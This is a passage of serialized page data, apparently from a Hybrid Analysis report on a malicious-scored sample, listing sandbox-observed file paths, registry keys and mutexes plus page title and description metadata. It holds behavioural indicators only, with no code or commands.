{"path":"%LOCALAPPDATA%\\Adobe\\Acrobat\\11.0\\UserCache.bin","sources":[{"report_type":"sandbox","report_id":"6698fdcb7f1a3ff8f5037c47"}]},{"path":"%TEMP%\\A9Rfflt3k_3jqoip_5hc.tmp","sources":[{"report_type":"sandbox","report_id":"6698fdcb7f1a3ff8f5037c47"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\INetCache","sources":[{"report_type":"sandbox","report_id":"6698fdcb7f1a3ff8f5037c47"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\INetCookies","sources":[{"report_type":"sandbox","report_id":"6698fdcb7f1a3ff8f5037c47"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\History","sources":[{"report_type":"sandbox","report_id":"6698fdcb7f1a3ff8f5037c47"}]},{"path":"%TEMP%\\A9R7q30cf_3jqoiq_5hc.tmp","sources":[{"report_type":"sandbox","report_id":"6698fdcb7f1a3ff8f5037c47"}]},{"path":"%APPDATA%\\Adobe\\Acrobat\\11.0\\Security\\Annssk.dat","sources":[{"report_type":"sandbox","report_id":"6698fdcb7f1a3ff8f5037c47"}]},{"path":"%APPDATA%\\Adobe\\Acrobat\\11.0\\Security\\Annss.dat","sources":[{"report_type":"sandbox","report_id":"6698fdcb7f1a3ff8f5037c47"}]},{"path":"%APPDATA%\\Adobe\\Acrobat\\11.0\\Security\\Annssi.dat","sources":[{"report_type":"sandbox","report_id":"6698fdcb7f1a3ff8f5037c47"}]},{"path":"%USERPROFILE%\\Documents","sources":[{"report_type":"sandbox","report_id":"6698fdcb7f1a3ff8f5037c47"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\TIMEZONEINFORMATION\\","sources":[{"report_type":"sandbox","report_id":"6698fdcb7f1a3ff8f5037c47"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\TENANTRESTRICTIONS\\PAYLOAD\\","sources":[{"report_type":"sandbox","report_id":"6698fdcb7f1a3ff8f5037c47"}]},{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\\","sources":[{"report_type":"sandbox","report_id":"6698fdcb7f1a3ff8f5037c47"}]}],"keys_modified":null,"keys_deleted":null},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:1412:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6698fdcb7f1a3ff8f5037c47"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:1412:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"6698fdcb7f1a3ff8f5037c47"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"6698fdcb7f1a3ff8f5037c47"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"6698fdcb7f1a3ff8f5037c47"}]},{"name":"Local\\SM0:1412:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6698fdcb7f1a3ff8f5037c47"}]},{"name":"Local\\SM0:1412:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"6698fdcb7f1a3ff8f5037c47"}]},{"name":"SM0:1412:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"6698fdcb7f1a3ff8f5037c47"}]},{"name":"Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"6698fdcb7f1a3ff8f5037c47"}]},{"name":"Microsoft.Windows.Health.TestInProduction.RegistryStore.AggregateResults","sources":[{"report_type":"sandbox","report_id":"6698fdcb7f1a3ff8f5037c47"}]},{"name":"Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"6698fdcb7f1a3ff8f5037c47"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:1412:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"6698fdcb7f1a3ff8f5037c47"}]},{"name":"\\BaseNamedObjects\\CLR_PerfMon_WrapMutex","sources":[{"report_type":"sandbox","report_id":"6698fdcb7f1a3ff8f5037c47"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Microsoft.Windows.Health.TestInProduction.RegistryStore.AggregateResults","sources":[{"report_type":"sandbox","report_id":"6698fdcb7f1a3ff8f5037c47"}]}]}},"report_ids":{"sandbox_job_ids":["6698fdcb7f1a3ff8f5037c47"]}}}]]}]
1b:null
1f:[["$","title","0",{"children":"Malicious Sample cac4d4364d20… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample cac4d4364d20…. Threat score 100/100. 13/23 AV engines flagged this file. 0 malicious and 5 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/cac4d4364d20fa343bf681f6544b31995a57d8f69ee606c4675db60be5ae8775"}],["$","meta","4",{"property":"og:title","content":"Malicious Sample cac4d4364d20… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample cac4d4364d20…. Threat score 100/100. 13/23 AV engines flagged this file. 0 malicious and 5 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/cac4d4364d20fa343bf681f6544b31995a57d8f69ee606c4675db60be5ae8775"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Sample cac4d4364d20… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample cac4d4364d20…. Threat score 100/100. 13/23 AV engines flagged this file. 0 malicious and 5 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L3a","11",{}]]